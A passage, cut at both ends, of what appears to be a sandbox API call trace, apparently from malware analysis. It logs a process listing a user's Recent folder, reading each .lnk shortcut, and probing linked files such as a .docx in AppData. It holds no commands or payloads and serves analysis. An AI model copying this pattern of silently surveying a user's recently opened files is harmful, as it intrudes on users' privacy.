hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cd146e0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cd146e0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cd146e0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="bbdArE-i.lnk", cAlternateFileName="")) returned 1 [0076.611] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bbdArE-i.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bbdArE-i.lnk") returned 1 [0076.611] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bbdArE-i.lnk", len=0x54 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bbdArE-i.lnk") returned 1 [0076.611] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bbdArE-i.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bbdArE-i.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bbdArE-i.lnk") returned 1 [0076.611] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk", len=0x53 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk") returned 1 [0076.611] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bbdArE-i.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk") returned 1 [0076.611] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk", len=0x53 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk") returned 1 [0076.611] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk") returned 1 [0076.612] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbdare-i.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.612] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x3ed [0076.612] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c26c, nNumberOfBytesToRead=0x3ed, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c26c*, lpNumberOfBytesRead=0x18e2f8*=0x3ed, lpOverlapped=0x0) returned 1 [0076.612] CloseHandle (hObject=0x3f8) returned 1 [0076.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bbdArE-i.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bbdare-i.docx"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.613] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0x61e4 [0076.613] CloseHandle (hObject=0x3f8) returned 1 [0076.613] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c9f4a00, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9c9f4a00, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9c9f4a00, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x19de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BfZiGgPvckLte.lnk", cAlternateFileName="BFZIGG~1.LNK")) returned 1 [0076.613] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbdArE-i.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BfZiGgPvckLte.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BfZiGgPvckLte.lnk") returned 1 [0076.613] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BfZiGgPvckLte.lnk", len=0x59 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BfZiGgPvckLte.lnk") returned 1 [0076.613] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BfZiGgPvckLte.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BfZiGgPvckLte.lnk", len=0x59 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BfZiGgPvckLte.lnk") returned 1 [0076.613] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk", len=0x58 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk") returned 1 [0076.613] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BfZiGgPvckLte.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk") returned 1 [0076.613] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk", len=0x58 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk") returned 1 [0076.613] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk") returned 1 [0076.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bfziggpvcklte.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.613] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x19de [0076.614] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c2e8, nNumberOfBytesToRead=0x19de, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c2e8*, lpNumberOfBytesRead=0x18e2f8*=0x19de, lpOverlapped=0x0) returned 1 [0076.614] CloseHandle (hObject=0x3f8) returned 1 [0076.614] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.615] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb4b660, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cb4b660, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cb4b660, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xe69, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPu-.lnk", cAlternateFileName="")) returned 1 [0076.615] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BfZiGgPvckLte.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bPu-.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bPu-.lnk") returned 1 [0076.615] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bPu-.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bPu-.lnk") returned 1 [0076.615] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bPu-.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bPu-.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bPu-.lnk") returned 1 [0076.615] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk") returned 1 [0076.615] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\bPu-.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk") returned 1 [0076.615] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk") returned 1 [0076.615] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk") returned 1 [0076.615] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bpu-.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.615] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xe69 [0076.615] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c168, nNumberOfBytesToRead=0xe69, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c168*, lpNumberOfBytesRead=0x18e2f8*=0xe69, lpOverlapped=0x0) returned 1 [0076.616] CloseHandle (hObject=0x3f8) returned 1 [0076.616] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.616] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2235a0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d2235a0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d2235a0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x14e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTq8-J4.lnk", cAlternateFileName="")) returned 1 [0076.616] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bPu-.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BTq8-J4.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BTq8-J4.lnk") returned 1 [0076.616] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BTq8-J4.lnk", len=0x53 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BTq8-J4.lnk") returned 1 [0076.616] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BTq8-J4.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BTq8-J4.lnk", len=0x53 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BTq8-J4.lnk") returned 1 [0076.616] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk", len=0x52 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk") returned 1 [0076.616] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BTq8-J4.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk") returned 1 [0076.616] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk", len=0x52 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk") returned 1 [0076.616] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk") returned 1 [0076.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\btq8-j4.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.617] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x14e0 [0076.617] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c180, nNumberOfBytesToRead=0x14e0, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c180*, lpNumberOfBytesRead=0x18e2f8*=0x14e0, lpOverlapped=0x0) returned 1 [0076.617] CloseHandle (hObject=0x3f8) returned 1 [0076.618] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.618] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c50bca0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9c50bca0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9c531e00, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x9f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BuZP.lnk", cAlternateFileName="")) returned 1 [0076.618] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BTq8-J4.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BuZP.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BuZP.lnk") returned 1 [0076.618] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BuZP.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BuZP.lnk") returned 1 [0076.618] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BuZP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BuZP.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BuZP.lnk") returned 1 [0076.618] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk") returned 1 [0076.618] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\BuZP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk") returned 1 [0076.618] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk") returned 1 [0076.618] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk") returned 1 [0076.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\buzp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.618] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x9f1 [0076.618] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c180, nNumberOfBytesToRead=0x9f1, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c180*, lpNumberOfBytesRead=0x18e2f8*=0x9f1, lpOverlapped=0x0) returned 1 [0076.621] CloseHandle (hObject=0x3f8) returned 1 [0076.621] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.621] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fb7be0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e1e8760, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e1e8760, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="C04Fzue-Z7KVyl_.lnk", cAlternateFileName="C04FZU~1.LNK")) returned 1 [0076.621] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BuZP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\C04Fzue-Z7KVyl_.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\C04Fzue-Z7KVyl_.lnk") returned 1 [0076.621] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\C04Fzue-Z7KVyl_.lnk", len=0x5b | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\C04Fzue-Z7KVyl_.lnk") returned 1 [0076.621] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\C04Fzue-Z7KVyl_.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\C04Fzue-Z7KVyl_.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\C04Fzue-Z7KVyl_.lnk") returned 1 [0076.621] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk", len=0x5a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk") returned 1 [0076.621] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\C04Fzue-Z7KVyl_.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk") returned 1 [0076.621] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C04Fzue-Z7KVyl_.lnk", len=0x5a | out: 